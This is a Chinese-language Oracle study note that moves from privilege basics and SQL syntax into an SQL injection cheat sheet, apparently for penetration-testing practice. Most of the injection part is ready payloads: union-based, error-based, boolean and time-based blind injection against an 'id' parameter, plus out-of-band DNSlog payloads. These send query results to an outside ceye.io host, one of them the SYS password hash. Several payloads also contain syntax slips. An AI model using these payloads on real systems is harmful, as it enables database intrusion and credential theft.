orcle权限分类
实体权限
select, update, insert, alter, index, delete,all //all括所有权限
execute //执行存储过程权限
系统权限
connect(最基本的权限,连接数据库权限)
resource(可以操作一些数据库资源)
DBA (最高权限)
sql基本操作语句
增
创建表
语法:create table "表名"(字段名1 类型(大小) 约束 ,字段名2 类型(大小) );
create table "sqli"(users VARCHAR(20) primary key,password VARCHAR(50));
增加列
语法:alter table 表名 add(字段名称, 数据类型)
alter table "sqli" add(name varchar2(200));
插入数据
语法:insert into "表名"(字段名1,字段名2) values('数据1','数据2')
insert into "sqli"(users,password) values('ming','785963');
删
删除列子段
语法:alter table "sqli" set unused column "列名";
alter table "sqli" set UNUSED COLUMN name_s;
删除数据
语法:delete "表名" where 匹配条件
DELETE "sqli" where users='xiangxx';
Truncate
语法:truncate table 表名
说明:将表中数据一次性删除
Truncate和 delete区别
truncate是DDL命令,删除数据不能恢复 ; delete是DML命令,删除数据可以通过数据库的日志文件进行恢复
如果一个表中记录很多, truncate相对 delete速度快
改
修改列字段名的类型长度
语法:alter table "sqli" modify(列字段名,修改的类型);
alter table "sqli" MODIFY(password varchar2(60));
修改数据
语法:update 表名 set 修改的数据 where 匹配修改数据位置
update "sqli" set password='123456789' where users='ming';
查
**查询**
select *|列名|表达式 from 表名 where 条件 order by 列名
select * from "sqli" order by users desc (降序)
select * from "sqli" order by user asc (升序)
select * from "sqli" order by user (默认就是升序)
系统权限操作
SQL> grant connect,resource,dba to用户名1[,用户名2]...;
创建系统用户(19c版本后需要加前缀c##user1)
语法:create user 用户名 identified by 密码
SQL> Create user c##users1 identified by users1;
并赋予user1连接数据库和操作数据库资源权限
SQL> grant connect,resource to c##users1;
修用户密码
语法:alter user 用户名 identified by 密码
SQL>alter user c##user1 identified by [password]
删除用户
drop user 用户名; //用户没有建任何实体
drop user 用户名 CASCADE; // 将用户及其所建实体全部删除
实体权限操作
users用户
SQL>grant select,insert, update on tablename to users1; --赋权给用户: users1
SQL>grant select, insert, update on tablename to public: --赋权给所有用户
实体权限传递:
1、grant select, update on tablename to users1 with grant option; --users得到权限,并可以传递users1
实体权限收回:
1、revoke select insert, update on tablename from users1; --收回给予的权限从用户
2、users1 revoke select, insert, update on tablename from public; --收回给予的权限从所有用户
注意:如果取消某个用户的对象权限,那么对于这个用户使用 WITH GRANT OPTION授予权限的用户来说,同样还会取消这些用户的相同权限,也就是说取消授权时级联的。
注入类型
注释符:-- /**/
约束语法:rownum(orcle)、top(mssql)、limit(mysql)
select username from dba_users //查询数据库账户
查询数据版本:SELECT banner from sys.v_$version where rownum=1
select SYS_CONTEXT('USERENV','CURRENT_USER') from dual //获取连接数据的用户名
select instance_name from v$instance //获取数据库的服务名
遍历数据库
select owner from all_tables where rownum=1
select owner from all_tables where rownum=1 and owner not in ('SYS') //排除sys数据库
select owner from all_tables where rownum=1 and owner not in('SYS','OUTLN','SYSTEM') //排除'SYS','OUTLN','SYSTEM'数据
获取数据表名:
select table_name from user_tables where rownum=1 and table_name<>'T_USER'
select table_name from user_tables where rownum=1
获取字段名:
select column_name from user_tab_columns where rownum=1
获取数据内容:
select users||password FROM "sqli" where rownum=1
联合查询
####判断字段数#####
id=1' order by 3 --
#####判断回显位#####
id=1' union select 1,2,3 from dual -- #dual查询的虚表
id=1' union select null,null,null from dual -- #null代表所以类型,orcle是强匹配,当查询的数据类型不同时可以使用null代替
#####查询数据库版本、类型、服务名#####
id=1' union select null,(SELECT banner from sys.v_$version where rownum=1),null from dual --
id=1' union select null,(select SYS_CONTEXT('USERENV','CURRENT_USER') from dual),null from dual --
id=1' union select null,(select instance_name from v$instance) from dual),null from dual --
#####查询数据库名#####
id=1' union select null,(select owner from all_tables where rownum=1) from dual),null from dual --
#####查询表名######
id=1' union select null,(select table_name from user_tables where rownum=1) from dual),null from dual --
#####查询列字段名#####
id=1' union select null,(select column_name from user_tab_columns where rownum=1) from dual),null from dual --
#####查询内容#####
id=1' union select null,(select users||password FROM "sqli" where rownum=1) from dual),null from dual --
报错注入
使用的函数
1、utl_inaddr.get_host_name()
原理:获取ip地址,其参数如果解析不了会报错,显示传递的参数。如果其参数是一个SQL语句,那么报错就会把结果给显示出来。
这种方法在 Oracle 8g,9g,10g中不需要任何权限,但是在** Oracle 11g及以后的版本中** ,官方加强了访问控制权限,所以在11g以后要使用此方法进行报错注入,当前数据库用户必须有网络访问权限
payload: and 1=utl_inaddr.get_host_name((select user from dual));
2、ctxsys.drithsx.sn()
payload:and 1=ctxsys.drithsx.sn(1,(select user from dual));
3、dbms_xdb_version.checkin()
payload:and dbms_xdb_version.checkin((select SYS_CONTEXT(‘USERENV’,‘CURRENT_USER’) from dual)) is not null –
4、dbms_xdb_version.uncheckout()
payload:and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null –
5、dbms_xdb_version.makeversioned()
payload:and (select dbms_xdb_version.makeversioned ((select user from dual)) from dual) is not null –
6、dbms_utility.sqlid_to_sqlhash()
payload:and (select dbms_utility.sqlid_to_sqlhash ((select user from dual)) from dual) is not null –
7、ordsys.ord_dicom.getmappingxpath()
payload:and 1=ordsys.ord_dicom.getmappingxpath ((select user from dual)) –
8、XMLType()
payload:(select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null –
#####查询数据库版本、类型、服务名#####
id=1' and dbms_xdb_version.checkin((SELECT banner from sys.v_$version where rownum=1)) is not null --
id=1' and dbms_xdb_version.checkin((select SYS_CONTEXT('USERENV','CURRENT_USER') from dual)) is not null --
id=1' and dbms_xdb_version.checkin((select instance_name from v$instance)) is not null --
#####查询数据库名#####
id=1' and dbms_xdb_version.checkin((select owner from all_tables where rownum=1)) is not null --
#####查询表名######
id=1' and dbms_xdb_version.checkin((select table_name from user_tables where rownum=1)) is not null --
#####查询列字段名#####
id=1' and dbms_xdb_version.checkin((select column_name from user_tab_columns where rownum=1)) is not null --
#####查询内容#####
id=1' and dbms_xdb_version.checkin((select users||password FROM "sqli" where rownum=1)) is not null --
布尔注入
1、decode()
判断dual表的user的第一个字段是否“S”,是显示查询数据否不显示查询数据
payload:select * from “sqli” where users=‘xiang’ and 1=(select decode(substr((select user from dual),1,1), ‘s’, 1, 0) from dual) ;
2、instr()
instr会返回’SQL’位置数据在査询结果中的位置,未找到便返回0,可通过对‘SQL′位置进行遍历和迭代,获取到数据
判断dual表的user的第一个字段是否“S”,是显示查询数据否不显示查询数据
payload:select * from “sqli” where users=‘xiang’ and 1=(instr((select user from dual),‘S’))
#####判断数据库字符数#####
id=1' and (select length(owner) from all_tables where rownum=1)=3-- #猜解数据库3个字符
#####猜解数据库字符#########
id=1' and (select ascii(owner) from all_tables where rownum=1)=83 --
或先">"判断范围
id=1' and (select ascii(substr((select owner from all_tables where rownum=1)),1,1)) from dual)=83 -- #猜解第一个字为ascii为83字母S
id=1' and (select ascii(substr((select owner from all_tables where rownum=1),2,1)) from dual)=89 -- #猜解第二个字为ascii为89字母Y
id=1' and (select ascii(substr((select owner from all_tables where rownum=1),2,1)) from dual)=83 -- #猜解第二个字为ascii为83字母S
#表同样操作
时间盲注
1、DBMS_PIPE.RECEIVE_MESSAGE(任意值,延时时间)
payload:and 1=(DBMS_PIPE.RECEIVE_MESSAGE(‘a’,10))
查dual的user字段的第一个字母是否“S”,是,五秒后显示数据。否,立即不显示数据
payload: and 1=(select decode(substr(user,1,1),‘S’,(DBMS_PIPE.RECEIVE_MESSAGE(‘RDS’,5)),0) from dual)
2、select count() from all_objects 对数据库进行查询或其他操作会耗费较多时间,通过这个方式获取数据
and 1=(select decode(substr(user,3,1),‘’,(select count() from all_objects),0) from dual)
####判断数据库字符长度,如长度为6,5秒后返回1,否,立即返回0(主要是判断1=1还是1=0)###
and 1=(select decode(length(user),'6',(DBMS_PIPE.RECEIVE_MESSAGE('RDS',5)),0) from all_objects where rownum=1)---
###猜解库名(可以使用burpsuite能更快获取)#
and 1=(select decode(substr(owner,1,1),'S',(DBMS_PIPE.RECEIVE_MESSAGE('RDS',5)),0) from all_objects where rownum=1)
Dnslog注入(外带数据注入)
payload:
SELECT UTL_INADDR.GET_HOST_ADDRESS('ip.port.b182oj.ceye.io');
SELECT UTL_HTTP.REQUEST('http://ip.port.b182oj.ceye.io/oracle') FROM DUAL;
SELECT HTTPURITYPE('http://ip.port.b182oj.ceye.io/oracle').GETCLOB() FROM DUAL;
SELECT DBMS_LDAP.INIT(('oracle.ip.port.b182oj.ceye.io',80) FROM DUAL;
SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.ip.port.b182oj.ceye.io',80) FROM DUAL;
实例:
SELECT HTTPURITYPE('http://'||(select user from dual)||'.r.ceye.io/oracle').GETCLOB() FROM DUAL;
这样DNSlog日志中就能查看到你外带的数据user的信息(19版本会出现Oracle:ORA-24247: 网络访问被访问控制列表 (ACL) 拒绝这个问题)
问题
处理:Oracle:ORA-24247: 网络访问被访问控制列表 (ACL) 拒绝这个问题
select * from dba_network_acl_privileges #查询访问控制权限
select * from dba_network_acls #查看访问控制列表acl
#添加权限
begin
dbms_network_acl_admin.create_acl(
acl =>'/sys/acls/url.xml', #创建访问控制文件,命名随意,(重复创建会报xs实体存在)
description =>'/sys/acls/url.xml', #文件名称随意
principal => 'C##ZHANGPENG', #授权用户(当前登录用户,或其他)
is_grant =>TRUE, #授权TRUE,取消授权FALSE
privilege =>'connect'); #授权权限列表(connect),取消授权列表(resolve)
dbms_network_acl_admin.add_privilege( #授权访问列表权限,操作同上
acl =>'/sys/acls/url.xml',
principal => 'C##ZHANGPENG',
is_grant =>TRUE,
privilege =>'connect');
dbms_network_acl_admin.assign_acl( #允许访问acl
acl =>'/sys/acls/url.xml',
host =>'*', #或者指定域名,或者*号全部
lower_port =>1, #开始端口
upper_port =>1000 #结束端口
);
commit;
end;
删除权限
begin
dbms_network_acl_admin.delete_privilege(
'sys/acls/dns.xml',
'C##ZHANGPENG',
NUll,
'resolve');
dbms_network_acl_admin.unassign_acl(
acl =>'sys/acls/dns.xml',
host =>'*'
lower_port =>1,
upper_port =>1000
);
end;
测试:select utl_http.request('http://www.baidu.com/') from dual;